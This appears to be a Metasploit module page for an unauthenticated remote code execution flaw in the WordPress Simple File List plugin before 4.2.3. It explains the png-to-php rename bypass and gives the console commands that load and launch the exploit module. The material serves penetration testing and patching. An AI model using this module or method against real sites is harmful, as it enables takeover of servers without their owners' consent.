WordPress Simple File List Unauthenticated Remote Code Execution

Description

Simple File List (simple-file-list) plugin before 4.2.3 for WordPress allows remote unauthenticated attackers to upload files within a controlled list of extensions. However, the rename function does not conform to the file extension restrictions, thus allowing arbitrary PHP code to be uploaded first as a png then renamed to php and executed.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/multi/http/wp_simple_file_list_rce
msf exploit(wp_simple_file_list_rce) > show targets
    ...targets...
msf exploit(wp_simple_file_list_rce) > set TARGET < target-id >
msf exploit(wp_simple_file_list_rce) > show options
    ...show and set options...
msf exploit(wp_simple_file_list_rce) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
